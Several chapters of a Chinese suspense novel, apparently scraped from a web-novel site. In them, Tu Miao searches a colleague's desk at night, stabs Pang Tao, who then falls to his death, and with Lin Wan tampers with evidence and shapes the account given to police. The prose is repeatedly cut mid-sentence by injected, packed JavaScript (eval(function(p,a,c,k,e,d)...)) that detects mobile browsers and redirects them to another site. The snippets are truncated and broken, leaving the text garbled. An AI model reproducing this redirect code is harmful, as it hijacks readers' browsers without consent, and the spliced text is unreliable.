涂淼又起身开始欢快地哼歌收拾衣服。她想好了,如果真有危险来临,有人需要付出放弃一切的代价,那也应该是她涂淼,而不是总是想救她的林菀。是的,事业是她不肯离开,宁愿面对死亡威胁的原因。可如果能给林菀挡枪,她什么都可以放弃。 …… 下班时间早就过了,但徐箴言还在办公室里忙碌。上一个项目结束后,新的工作周期开始,他的事情很多。考虑到最近生活中发生的各种事情,他决定尽可能提前把所有事项都安排好,分给组里的下属们,这样他便拥有更多自由时间处理自己的事情。 晚上八点,他接到了林菀的电话。她和涂淼吃完饭,给他打包一份带过来。 掐着时间,徐箴言拿着工牌去大厅里跟她俩见面,却不料刚刚起身就瞧见涂淼推开办公室大门进来。 “你怎么进来了?”徐箴言一愣。 “我可是你们银行的客户,来得多了,连保安都认识我。话说你跟林菀又在玩什么游戏,她都到门口了不肯上来,说是要避嫌,在车里等你。” 徐箴言笑了一下,接过保温袋,“谢了。”他拿起手机,打算给林菀发消息。 “不客气。”涂淼打开自带的保温杯喝了一口。里面冰块晃荡,传来淡淡的威士忌味道。 徐箴言想也不想就知道那是涂淼自己调制的鸡尾酒。涂淼喜欢喝酒,大家都清楚。但这是他第一次瞧见涂淼在非休闲娱乐时间喝酒。“……你们晚上吃的什么?” “云南菜,给你每样都带了一点。厕所在哪儿啊?”涂淼放下保温杯,双手插兜,左看右看。 “右边走到头,左转。”徐箴言注意到她今天小动作有点多,似乎有些不耐,“我很快就忙好。” “不急,你先吃。”涂淼径直朝厕所走去。可没几分钟,她便又回来,“女厕门口放了个维修的提示牌。” 徐箴言掏出自己的工卡,“走廊对面办公室,跟我们这边一样,进去走到头,左手边是洗手间。” “行。”涂淼毫不犹豫地接过工卡,“那边我去过的。” 徐箴言看着她离开的背影,没再说话。 …… 几分钟后,涂淼从洗手间出来,一边看头顶的指引,一边走过电梯间。墙上贴着的楼层提示,让她不自觉地停下脚步。 她去过庞涛的办公室,知道具体位置,而此刻她手里拽着徐箴言的工卡。他层级高,在这栋大楼的各个部门可以来去自如。 犹豫几秒,涂淼摁了电梯键。 …… 一分钟后,涂淼站在电梯里,看着电梯门再次打开,停在员工完全走空的黑暗楼层。 走廊上的感应灯随着涂淼的脚步一盏接着一盏依次亮起,又依次熄灭。滴的一声读卡后,玻璃门自动打开。在夜色中寂静的偌大办公区呈现在涂淼面前。 附近的繁华高楼商厦霓虹灯闪烁,浅浅的灯光照射进来,模糊又幽暗,如同幽灵一般变幻。无人的办公桌上,玻璃罩里的人形玩偶睁着空洞的黑色眼睛。透明水缸里的游鱼在一遍一遍地来回游曳,留下晃动的光波。 越往里走,黑暗越浓。 涂淼终于凭借曾经的记忆,站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102857|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了庞涛的桌子前。她看了一眼墙角处的监控摄像头。路过一楼保安室时,她见到里头看监控的保安正在睡觉。而带领她们进来的保安说再过半小时就要去进去换班,得亏她现在过来,要不然接下来换岗的保安不认识她。 而现在,距离保安说的换班时间还有一刻钟。 涂淼迅速掏纸巾裹住手指,蹲下来拉开座椅旁边的抽屉,开始翻看查找。如果林菀认为庞涛为食堂下毒幕后黑手的揣测为真,那么他肯定会在单位里留下蛛丝马迹。 时间一分一秒过去,涂淼火速查看完几个抽屉,重要线索没找到,倒是发现一堆空药盒,标着阿莫西林、氨苄西林、以及青霉素V钾等等。 眼看十五分钟快要耗尽,涂淼只能将抽屉用纸巾仔细擦拭一遍,去除指纹后转身离开。 而就在她转身的那一刻,突然出现一片光,照亮了这个工作隔间。 庞涛的电脑屏幕亮起来了。 涂淼猛地回过身,看到电脑屏幕上鼠标迅速划过,开始点击文件。那一瞬间她胳膊上起了一片鸡皮疙瘩,但又很快反应过来是人在趁着所有员工下班,在远程操作这台电脑。 距离十五分钟截止,还有四十五秒。涂淼强忍着焦急,躁动不安地等在桌边看这人要做什么。 鼠标很快点出一个私人微信,找出一个头像为V字仇杀队的好友对话框,在“删除聊天对话”上停顿迟疑几秒后,开始翻看聊天记录。 它没有找到想要的内容,又退出来点开另一个好友。 聊天时间很快跳回一个多月前,这个名叫“天王老子”的人给庞涛发了几条信息—— “哥,你说的那两女的来我们这里吃饭了。” 随后,他还发了一张在走廊上偷拍的涂淼和林菀的背影照片。 庞涛没有回话,而是直接拨了个语音电话过去。 最后,“天王老子”又给他发了一条有错别字的消息——“放心,即然你发话,兄弟我有办发搞死这两个婆娘” 定位到这段聊天记录和聊天对象后,鼠标开始删除聊天记录。然后它启动另一个软件程序,开始扫描存储盘内容,针对性自动删除某些敏感内容。 涂淼感觉周身一片寒冷,而怒意也从这彻骨冰意中迸发出来。庞涛的确跟那场连环追尾事件有关。林菀说的没错,他是个魔鬼。连警察都相信那场车祸就算有人为意图,那也是针对林菀母女,却不料原本是针对林菀和涂淼。 眼见手机上时钟的秒针即将走到终点,涂淼转身疾步离开,留下一室寂静。 …… 41. 是谁在哭泣 涂淼一直自认是个问心无愧的人。她思考了很久也不明白庞涛为什么要对她下手。她没有陷害过别人,她乐于助人……可就算她曾经做错事情,也不应该轮到庞涛取她性命。 “你在想什么?”林菀送走麦柯和商皓宸回来,发现涂淼抱膝坐在沙发上发呆。涂淼是昨晚过来住的,今天起床就不洗脸不换衣服,穿着睡衣抱着她的酒杯子深思到现在。 “没什么。”涂淼抬起头看向她,心里还在想别的东西。“我刚刚给庞涛打电话了,可无人接听。有没有办法能追踪到他手机的GPS信号?” “这个只能警察来。”林菀今天也是心神不宁,“我计划去一趟榆乡,车票已经看好了。” “你知道他老家住址?” “如果他的地址跟我原来那边……”林菀顿了顿,“法院死刑判决书上的地址一样的话。” 涂淼犹豫了一下,点头,“那好,对外就说庞涛跟我提过他的老家住址。” “箴言马上来了,你去换衣服?” “行吧。他都跟你谈恋——结婚了,我还得讲究形象吗?”涂淼爬起来回房间。 林菀盯着涂淼的背影,有些忧虑。涂淼有点反常。因为披头散发出现在朋友面前,是她以前不会做的事情。 徐箴言进来后先搂了下林菀,然后将一叠文件递给涂淼,“看看,我标红的地方跟你自己的账目有没有出入?” 涂淼粗略看了下,这是庞涛之前帮她做理财交易的相关资料。她瞬间懂了,“你想看他有没有经济犯罪?” 庞涛恶劣到敢谋局杀人。以这种情况来看,怀疑他有贪污挪用等经济犯罪行为也不是没有道理。可林菀却想到另一个问题,“我听说如果犯罪金额较小,银行不会报警?”因为报警招致的名誉以及股价损失更加严重。 “现在情况特殊,老杜还在住院,他跟庞涛是多年同事。单位会报警的。”徐箴言说。只要银行报警,绝对能拔出萝卜带出泥地查出更多事情。 “那好。”涂淼放下那叠资料,“我从他那儿拿到手的文件全部放在家里,我拿来核对一下。” “我陪你去拿。”林菀立即跟着起身,她不想让涂淼单独出门,但又不想让她觉得自己对她严加看管,就补充道,“免得你拿漏。我们得仔细点,不放过任何细节。” 提到细节,涂淼脚下一顿,若无其事说道:“对了,我突然记起来,庞涛好像身体不好,这也算细节吗?反正我曾经看到他包里放着……”她回忆着昨晚见到的那些药品名称,“阿莫西林、氨苄西林等东西。” 一听到这两个名字,徐箴言就皱起眉头。这些药都是常见的青霉素,但买这么多种类的青霉素吃就不寻常了。 “普通感冒也会吃阿莫——”林菀说。 徐箴言摇摇头,神情也变得严肃认真,毫不犹豫说道:“是性病。” 这话一出来,林菀和涂淼都愣住了。 “青霉素对治疗梅毒、淋病等疾病很有效。”徐箴言说着就拨通了一个医生朋友的电话,了解清楚后才挂电话,“庞涛得的应该是梅毒。”他曾经看到庞涛一边拍身上的药粉,一边出医院。原来那些药粉是针对性治疗梅毒,需要静脉注射,又容易爆炸的青霉素粉。 “我的天。”涂淼一屁股瘫坐到沙发上,又连忙跳起来拽住林菀的胳膊,“咱俩跟他一起吃过饭,不会被传染吧?” 林菀也处于极度震惊中。只有见惯了行业内各种糜烂绯闻的徐箴言丝毫不受影响,他重新穿起外套,捏了捏林菀的手以示安慰,“吃饭不会传染。” 他顿了一下,“你们现在去拿资料,我去见个医生朋友。”他压根不认识性病专科医院的医生,需要有人引荐才能找到庞涛的真正踪影。此刻,他确信庞涛那张阑尾炎病假条是为了掩盖他请假治疗梅毒的事实。但看庞涛前几日的表现,他并没有因为梅毒而虚弱到不能走路,所以涂淼的危险还不能解除。 从林菀家出来,三人兵分两路。 涂淼的车停在路边,被另一辆车卡住,于是两人索性打车前往,很快就到了涂淼家,收拾好各种资料,再次出门。 坐在出租车后座,涂淼不停地更换坐姿,仿佛屁股底下座椅烫人。林菀抓住她的手,紧紧握住,以此安抚她。 然而等到路程过半,司机将车停在一个十字路口时,涂淼突然摁下车窗,将头伸出去张望。 “干什么?”林菀立即将她拉回来,对司机抱歉地笑笑,“不好意思。” “有人在哭,好像遇到困难了。”涂淼坚持朝外张望,试图找到声音来源。 林菀下意识四处顾盼,然而大中午的路口行人稀少,连树叶都仿佛要被烤融化一般,没有任何明显的噪声。“你听错——” “不行,我得去救她。”涂淼毫不犹豫地开车门下去。 “涂淼!”林菀一惊,扑过去试图抓住她的衣袖,但还是晚了。随着绿灯亮起,涂淼站在了马路中央,滚滚车流当中。 司机吓得也拍着方向盘大声嚷嚷起来。 “师傅,我手机付款。”林菀也顾不上他,连忙下车追过去。“涂淼,别动!” 然而涂淼置若罔闻,径直逆着车流穿过斑马线朝前走。由于她不遵守交通规则,路口车流顿时卡成一片,不少汽车鸣笛抗议。 林菀差点被车撞上,将将摁住抵到自己腿部的汽车,一边匆忙地道歉,一边冲过去拽住涂淼,将她顺利拖到路边。 “你到底怎么了!”她心有余悸,心砰砰地跳着。 “你仔细听啊。”涂淼丝毫不顾她的担心,反而紧紧抓住她的胳膊,神情专注且认真,“有个女孩子哭得特别撕心裂肺,好惨!” “那是幻听,没有人哭!”车声呼啸中,林菀大声提醒。她甚至怀疑涂淼已经喝醉了。 涂淼见没能说服林菀,也懒得跟她继续废话,转身朝路口的高楼走,“她就在这栋楼里哭。” 林菀追上去,狠狠掐了她一把,“醒醒,没有人哭!” “说了让你仔细听!”涂淼有些不耐,焦躁地摆开林菀的手,“她刚刚哭着喊说不要打她。很明显有人在打她!我必须得去救她!” 林菀脸色一白,顿时毛骨悚然,打了个寒战。 就在她心底起寒,大脑停滞之际,涂淼已经走过侧门保安亭。一个晒得黝黑的保安正在亭子里睡觉。 而就在大楼正门处,一辆车在栏杆前停下,从里头钻出来个男人。他上半身穿着病号服一样的蓝白短袖,下半身穿着一条齐膝短裤,小腿上密密麻麻都是比硬币还大的脓疮。 那是多日不见的庞涛,他迅速钻进了高楼大厅。 林菀猛地脚下一顿,下意识看向涂淼。而涂淼显然也是发现了,她扭头瞅了瞅林菀,突然拔腿朝侧门冲去。 “涂淼!”林菀一声大喊,急忙追过去。 坐在棚下打瞌睡的保安被她的声音惊醒,起身立即拦住林菀,“侧门只对住户开放,其他都从前门走。” 这是一栋商用楼,八楼以上是酒店、民宿和居民住户,八楼以下有各种美甲店、饭店,以及各种租一个门面的小公司。大楼右边紧挨着一个造型如贝壳的戏剧院,是莱城很有历史的经典剧院,到现在依然举办很多热门活动。 “我朋友进去了!”林菀急得上火,恨不得插翅膀飞进去。 “我没看到。”保安依旧拦着路。 “那就调监控!” “没警察允许,不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102858|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调监控。你就从前门走。”保安坚决不让路。 从前门走的话,顶多去八楼。再往上走就必须得要住户的门卡或者酒店民宿的门卡进电梯。 林菀不跟保安废话,后退了几步,用眼角余光扫着保安亭内的监控屏幕——有一个跟涂淼身形相似的女人在电梯键盘最低端的左键亮着时,走出去了。她估摸那应该是十二楼。 “前门,是吧?”林菀再次后退一步,拽紧了背包的肩带。 “对。”保安见她放弃,打了个哈欠,重新坐到椅子上。 “从这边走?”她指向一个方向。 待保安扭头看过去时,林菀迅速越过他,冲进了大厦侧门。 同一时刻,涂淼从十二层出来,发现这一层都是民宿房间。走廊昏暗,两侧的套房刚刚做过保洁,都敞开大门在通风散气。 涂淼掏出纸巾擦了擦自己手里三叉戟上的血珠,又蹲下仔细查看地上的一两滴血珠,下意识握紧了三叉戟。 她的三叉戟很小,只有十多厘米的手柄,前端插着一个尖锐的钢铁制小三叉戟。这是制作鸡尾酒时用来碎冰的冰锥工具。涂淼昨晚搬去林菀家时,将三叉戟随身携带,今天忘了将这把三叉戟从包里拿出来,现在派上用场了。 庞涛从正门进来,拐过走廊来坐侧门电梯时,被等候在这里的涂淼刺中了胳膊。然而他还是逃跑了,先涂淼一步进电梯,从12楼出来。 “庞涛!我知道你在这里!”涂淼猛地推开一扇门。大门哐当一声撞到墙又弹回来。客房内空无一人,白色床单整洁,白色窗帘在大风下飘然晃动。 “给我出来!”涂淼转身大喊。由于愤怒,由于用劲,她脖子上青筋明显。而她脑海里,一个女人抱住头颅躲在墙壁与沙发的拐角处。她试图反抗,但由于力量悬殊而失败,只能尖锐地哭泣,被动承受着砸到身上的如暴雨般的拳头。 “你有胆子打死我,没胆子出来见我?!”涂淼的声音在走廊上久久地回荡,她哐当一声又踹开第二扇微微掩着的门,愈发抓紧手里仍旧滴血的三叉戟,“怎么?轮到你自己下地狱,你怕死了吗!” 她一连推开好几个客房,全部没有人影。这空荡荡的房间让她愈加愤怒,“杀人偿命,把我的命还给我!”脑海里,另一个她自己托住骨折的手臂,依旧在绝望地哭叫。 “楼上孩子弹钢琴而已,你凭什么打我!你妈信口开河丢了钱,你又打我!心情不好,工作不顺,菜太淡了,全部都是你的理由借口!去死,庞涛!” 话音刚落,她突然听到背后一阵骚动。庞涛从走廊最远处一间客房跑出来,捂着流血的胳膊,满脸恐惧与震惊,转身就跑进楼梯间。 涂淼直勾勾盯着他,如同闻到血腥味的鲨鱼一般毫不犹豫地追了过去。 一分钟后,林菀从十二楼电梯间跑出来,只见得几间客房的大门被风吹得来回摇摆,却不见任何人影。 “涂淼?”林菀喊了一声,也不见有任何回应。 她仔细查看四周动静,终于在靠近楼梯间的地方发现了一滴血。顿时她全身的血都朝头部涌去。她下意识伸出手指,突然意识到这可能是庞涛的血迹而立即收回手。 林菀沉思了几秒,起身迅速奔向上楼的阶梯。 她一层一层地寻找,终于在走出十六楼的楼梯间时发现了涂淼的踪迹。涂淼正一动不动地站在专供消防救急留出来的空中走廊上,沉默地往下看。 林菀担忧地疾步走过去拉住涂淼,下意识顺着她的目光朝下看去。 楼下远远的,是有五层高的戏剧院透明玻璃天穹。 此时,玻璃天穹被砸出来一个不规则的大洞,刺眼的碎玻璃反光里,地上躺着一个模糊的红色人影。 42. 隔壁的老太太 林菀几乎瞬间就明白,砸破戏剧院的高空坠物是庞涛。 她第一反应是将涂淼拽离空中连廊,抬头寻找摄像头。万幸这层是居民自住,没有安装监控。 走廊上静悄悄,也没有居民打开门查看情况。可林菀依旧紧绷神经,迅速将涂淼一路拉到僻静拐角,上下检查她是否受伤。涂淼的左胳膊上有两道伤痕已经渗出血迹,右手也有血迹。 林菀立即掏出湿纸巾给她擦手——手背没有伤口,可能血渍是庞涛身上的。这更让林菀担心,因为梅毒能通过血液传染。 林菀将用脏的湿纸巾层层裹起来揣进兜里,掰过涂淼的脸,盯着她的眼睛,一字一句地低声叮嘱,“在这里等我。” 说完,她放轻脚步依次经过每家门户,检查是否有血迹,最终在左边倒数第一家的大门口发现了带血的三叉戟。 林菀放下包,背对走廊挡住所有方向的光,用纸巾包着三叉戟手柄将它捡起来。门口放着一袋垃圾,塑料袋子里有阿莫西林的药盒。 很明显,这里是庞涛的家。 林菀起身拿着三叉戟回来,看到涂淼还站在原地一动不动,脸上毫无血色,眼神破碎。 即使心里已经有了一个可能的答案,但林菀还是选择信任涂淼。她紧紧握住涂淼的手,“你还记得发生了什么吗?” 涂淼还在出神,木头人一样慢慢地摇摇头。她不记得了,什么都不记得。 林菀心下一沉,可她没法责怪涂淼。人在面对巨大的危机时可能出现应激反应,下意识屏蔽一切,以获得暂时的安全感。涂淼可以不记得发生了什么,但林菀清楚自己必须做出行动。 “记住,我们来这里,是因为想找庞涛聊聊之前交易记录里不对劲的地方。你不知道他请病假了,恰巧经过这里,见到他下车就跟过来。至于为什么急着找他,一是因为你要马上要出差,本来昨天就应该出门但误了飞机。二是因为,这件事涉及你的财产,不急不行。”林菀耐心地叮嘱,“记住了吗?” 涂淼恍惚地点头。 “这把三叉戟上有谁的指纹?”林菀继续问,见涂淼仿佛没听到,又说道,“有你的吗?” 涂淼再次点头,意识开始慢慢回笼,她的呼吸变得沉重。 “有庞涛的指纹吗?” 涂淼猛地抬头,终于开始感觉到心悸,她反过来紧紧抓住林菀的手,力气奇大,但却在颤抖,“好像有……” 林菀毫不犹豫地扔掉包着三叉戟的纸巾,直接握住三叉戟的手柄,“别害怕,我陪着你。”警察迟早会调查,这只是时间问题而已。“记住,这把冰具一直放在我包里——” 这一瞬间,涂淼睁大眼睛看向自己的好朋友。她的心悸与恐惧原本就像吞噬黑洞一样吞噬了她所有勇气与镇定,但林菀一句话就仿佛燃烧爆炸的星球一样毁灭了她心中的胆怯。 “你疯了!”涂淼一把夺下三叉戟,疯狂地在自己身上擦拭,企图擦掉林菀的指纹,“我自己做的事情怎么能让你负责?!”她说着激动地哽咽起来,“长点脑子!” “我是在帮你寻找合理的解释!你一旦故意带着三叉戟上门,就不是能简单解决的事情了!”林菀强行拽住她的胳膊,“预谋与意外,根本不一样。我也上楼来了,早就置身事内。”她顿了顿,“三叉戟放在我这里,在我上来后才被拿出来,这更加合理!” 涂淼瞬间愣住,慢慢安静下来,听林菀继续说下去。 “现在我们下去,到戏剧院确认情况,”林菀冷静地说,“你想一想到底发生了什么。” “好。”涂淼连忙答应,转身朝楼梯间的方向走,又被林菀一把拽住。 “走电梯。去楼梯间只会显得更加心虚。”林菀其实更想去十二楼和一楼看看有没有监控,但眼下不是个好时候。 涂淼转身回来,忍不住打了个寒噤,跟着林菀朝电梯间走。 走廊上依旧安静极了,两人没有说话,只看着电梯慢慢从楼下升起。显示屏上楼层数字靠近16楼,涂淼咬紧嘴唇。 叮一声,电梯门打开。里头站着两个警察,为首的走出来,“你们谁报的警?” 那一瞬间,涂淼眼前一黑,差点站不住。林菀震惊至极,但还是勉强保持冷静,扶住快要摔倒的涂淼。 “谁报的警?”警察的眼神来回扫射,变得犀利极了。 而就在这时,电梯旁边的一户大门突然打开,一个白发苍苍的老太太一边擦着额头上的冷汗,一边拄着拐杖颤颤巍巍地走过来,“是我报警!” 林菀脑子嗡的一声,下意识与涂淼对视。她的心跳差点突破胸腔,但她在面上保持了平静,只暗暗地抓紧了衣襟。 “老天爷啊,你们总算来了。这里有人要杀人呐!”老太太跺了两下拐杖,担忧地看向涂淼,“小姑娘你没事吧?” 涂淼愕然地愣住了。 “是谁要杀谁?”为首的高个儿警察立即问。这栋楼里刚刚有人跳楼,戏剧院的人也报警了。他的同事正在那里处理。 “哎哟,就是那个跳楼的,好像姓庞,要杀这个小姑娘。”老太太伸出颤抖的手指着涂淼,不忍回忆。 警察立即看向涂淼。涂淼神色不定,衣服皱巴破损有灰尘,胳膊上还有血迹。而她手里还拿着一个奇怪的像小钉耙的工具。“女士你叫什么?发生什么事了?” 涂淼怔忡地张了张嘴,说不出一句话。 “涂淼,她叫涂淼。不好意思,她吓坏了。我是她的朋友,林菀。”林菀说完便看向老太太。她已经发现这位老太太认定涂淼是受害者,那么由她描述肯定对涂淼有利。 果然,老太太马上说道:“我出来倒垃圾,突然听到楼梯间里有小姑娘在哭喊,说你为什么要打我,要杀我。那个霹雳哐当的响声,就是在打架呐。”她喘口气,继续说道,“我一个人住,年纪大了,也害怕,就赶紧回屋里。可我从猫眼一看呐,就是这个姑娘被人从楼梯间甩出来,扑到地上,疼得哟,爬都爬不起来。然后就是那个姓庞的,他就拿着这个——”她指指涂淼手里的三叉戟。 “应该是小型三叉戟。”另一个矮个儿警察说。 “不管是什么,这就是杀人的东西,他拿着这个什么戟就往小姑娘身上戳。得亏这孩子机灵躲开了。我就看到那个姓庞的发狠哦,次次都朝着人家胸口和眼睛刺。” “你全躲开了?”高个儿警察问涂淼。 这时候,涂淼已经彻底理智回笼,也慢慢想起来到底发生了什么事情。由于情况对她有利,她也能忍住心底的胆颤,“庞涛好像生病了,手一直在抖,根本瞄不准。所以我能躲开。” “然后?”警察示意涂淼继续说。 “然后我一脚把他踹开,三叉戟也掉到地上。我赶紧扑过去拿到手里。他一直打我的头,我睁眼几乎什么都看不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们跟他还算有点工作上认识的交情。”林菀脸色复杂,看上去似乎是一边惋惜庞涛丧命,但一边又愤怒于他暴力伤害朋友,“真没想到会发生这样的事情。” 带她们下来的高个警察看了眼手机,似乎已经收到同事的相关消息,“既然是工作关系,为什么要在周末来他家?” “他不接电话呀。”林菀说,“庞涛是理财经理,涂淼以前是他的客户。现在我们发现当时的交易貌似有点问题,所以就想先私下问问。毕竟有以前的人情在,她不想跟庞涛撕破脸。”她拍了拍自己的包,“这里头是我们刚刚拿出来的交易资料。” “是的,”涂淼立即说,“我给他打电话,他硬是不接。结果今天路过这里就看到他了,你说我能不急吗?就赶紧下车过来找他,结果他心虚了,问东答西,强词夺理。我太生气了,就说要去告诉银行。他一听就急了,上来便打人。”她现在想起来,在一楼刺中庞涛的地方是死角,没有摄像头。“我拿出三叉戟防卫。这个东西是调酒凿冰用的。” “这事儿是在几楼发生的?” 涂淼犹豫了一下,“一楼。然后他跑进电梯,去了十二楼。平白无故被人打,我实在是太生气了,脑子一热就跟上去了,也顾不得其他。”她尽量态度自然地问,“你们——要去调监控吗?” 43. 玻璃幕墙的秘密 旁边一个女警察凑过来跟高个儿警察耳语了几句,虽然声音不大,但林菀听见了。十二楼的酒店因为出现卖|淫|嫖|娼行为,被关停整顿。这就是所有客房都空晾的原因。而因为没有客人,摄像头就没有开全。 涂淼瞬间松了一口气。只有电梯附近的监控摄像头还开着,顶多就拍到她开对面的客房门找人,不会出现其他场景。 林菀看出她的神色变化,迅速轻咳一声提醒她。 就在他们说话的间隙,医生护士抬着什么东西进了救护车。一个随行的人员突然推开所有人,跑到路边垃圾桶哇地吐了出来。 而高个儿警察已经司空见惯,他跟其他同事商量了几句,走过来问涂淼和林菀,“能再上楼指认一下出事位置吗?” 林菀还未来得及说话,就见徐箴言突然撩起警戒线脚步匆匆走过来。 那一瞬间,林菀一直紧绷的神经骤然一松。她下意识朝他走了一步,但回神后立即停住,只看向他的眼睛。 无需多言,徐箴言立即明白她的意思。 “您好,我叫徐箴言,是庞涛的同事。”徐箴言向警察递上名片证明身份,“也是林菀和涂淼的朋友。” 警察不禁注意到他坦明的身份有些不同寻常,“你也大周末来找他?” “对,我们在金融行业,可没周末的说法。”徐箴言笑了笑,站到林菀身边。其实他刚刚下车就从周围人口中知道了这边的事情,但他还是问道:“发生了什么事情?” 除了庞涛跳楼死亡,他不知道其他任何情况,所以必须先了解警方知道的内情。此刻,他没机会也不可能询问林菀。一旦事情跟警方了解的有出入便说不清了。 警察说话很简短,“庞涛出事,你找他做什么?” 徐箴言略微惊讶,“他最近请假做阑尾炎手术,但人事发现他的假条有问题,托我去问问。我今天才知道他是得了梅毒,赶过来看看情况。” 警察不置可否,朝医生那边瞥了一眼,才嗯一声。 林菀立即看了看涂淼。 “我的天,梅毒!”涂淼及时地惊呼,“不会传染给我吧?” “你胳膊上的伤是他弄的?”警察注意到她胳膊上的擦伤。 “在地上擦伤,也算是被他弄的。” “保险起见,用下阻断药,72小时内有效。” “我先跟你们去十六楼现场,然后去疾控。”涂淼忙不迭说。 “注意安全,把事情说清楚就好。”徐箴言隐晦地提醒,又补充道,“庞涛是梅毒入脑,已经出现精神方面的症状。”言下之意是,庞涛自杀跳楼也不是完全不可能的事情,毕竟他已经出现精神问题——一周前庞涛去看诊过精神病医院。眼下,他在性病专科的入院治疗记录里也提到了这一点。 林菀暗自深深地呼吸着,终于感觉到彻底解决这件事的一丝曙光。 徐箴言是无关人员,不能上楼。而林菀和涂淼则在警察的陪同下,再次返回十六楼。 快到十二楼时,警察顺手按了键。电梯门开,门外依旧是安静的走廊,空敞的客房。两个警察在这里和酒店老板交涉。 “庞涛先到十二楼,然后才回他家。”警察平静地说,仿佛是陈述给他自己听。 林菀灵机一闪,“因为他要来看酒店处罚通告?”庞涛的性病不可能是平白无故得的,他必定有脏乱的冶游史,而十二楼可能是他经常光顾的地方,离家近,方便。 警察不禁挑眉,而林菀则从他的目光中看出了赞同的意味。 看通告日期,酒店是昨天晚上被查封的。那么庞涛极有可能今早在居民群听到消息,担心自己的冶游史被泄露,便立马打车回来打探情况。 来到十六楼,这里也有好几位警察。两个消防人员在试图破开庞涛家的大门。 “你看到庞涛在哪里跳楼?”警察再次确认。 “就是那位年轻警察站的地方。” “当时你俩分别在走廊上什么位置?说具体点。” “庞涛跳楼后,我才上来。”林菀说。而涂淼则主动站到空中连廊与室内走廊的衔接处,“我差不多在这里。” 高个儿警察皱起眉头,比较着两点之间的距离,试图理清头绪弄明白为何庞涛会突然跳楼。难不成真是梅毒导致精神失常?可庞涛在金融业工作,如果他脑子不好……没人看出破绽? 林菀也走到空中连廊上,打量四周细节。 下午阳光刺眼,整栋大楼的玻璃窗和楼下戏剧院的玻璃穹顶都反射着让人睁不开眼的光芒。转身看向室内走廊的一刹那,林菀突然明白了。 由于这栋楼属于商用楼,大楼墙壁贴着成段的玻璃幕墙以增加美观感。若站在连廊上庞涛跳楼的位置,恰好就能看见旁边凸起的蓝色玻璃上反射着连廊与室内走廊连接处的情景。 此刻,玻璃如镜子一般照映出了涂淼的身影。 “别动!”林菀一声止住想过来的涂淼,立即示意给警察看,“您看玻璃上的影子。” 涂淼不明所以,但警察瞬间明白了,诧异地叹一声,转身和同事们说明情况。 涂淼听着他们的谈话,也明白了一些。她走过来抓住林菀的手。而林菀则终于放下了一颗悬着的心,用指尖擦了把发际线冒出的冷汗。 如果没有其他问题,涂淼便安全了。庞涛极有可能在精神不稳定的情况下,分不清涂淼本人和玻璃幕墙上的幻象,在极怒之中翻越栏杆冲向“镜子”里的涂淼。 这,就是他跳楼的原因。 …… 从警察局出来已经是夜晚。 涂淼还在做笔录,林菀和徐箴言便买了果篮和保健品感谢那位报警的老太太。二人回来又等了一会儿,涂淼才从派出所大门出来。 林菀陪她坐在后座,将一杯热牛奶塞到她手里,而徐箴言开车到一个僻静的林荫路上才缓缓停下。 涂淼沉默到现在,才抬头面对二人关心的目光,“我不后悔,真的。”她顿了顿,再次垂眸陷入沉思,“不过,也得亏他在楼梯间把我推下台阶了……摔得太严重,后来我才落了下风。”也就是因为落了下风,她被殴打的场面才让老太太看见,就此顺利解除嫌疑。否则,她手握三叉戟,结局便是不可预料的了。 “先好好休息,如果不舒服就去医院看看。”徐箴言没想到涂淼竟然如此冲动,但她摔得疑似脑震荡,又打了梅毒阻断针,实在是可怜。 虽然快一天没吃饭,但几人都没胃口。徐箴言便下车去便利店买些简单吃食。 瞧见他离开的背影,林菀才缓缓开口:“你听到的女人哭,是谁在哭?” “是我自己……是另一个世界里,”涂淼长长地深呼吸一下,压住胸中情绪,“你认识的那个结婚的我。” 在那一刻,她的脑子仿佛灌了水泥一般,自动屏蔽了周围的声音,只留下凄厉的哭声。陌生的回忆带着无法抑制的痛楚从心口冒出来,纠缠住她的四肢百骸。痛苦是真实的,回忆也是真实的。纷乱嘈杂的讯息让她的大脑过载。她便像溺水了快要窒息的人,在绝境中迸发出拼死一搏的力量,冲向庞涛。 从一楼到十六楼,涂淼的脑子里只有一个想法——以牙还牙,以眼还眼。他必须拿命来。 而此刻,她只有满腔悲伤,悲伤于另一个世界的自己。 “从此以后都安全了。”林菀温柔地叮嘱,“不要想那些事情,也不要为没经历过的事情而痛苦。”她不希望在这个世界的涂淼再次陷入绝望,她只希望涂淼继续开心生活下去。 涂淼沉默了几秒,低声道:“我确实想不起来了,只记得一些零碎的片段。”那一瞬间,大量信息如被风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 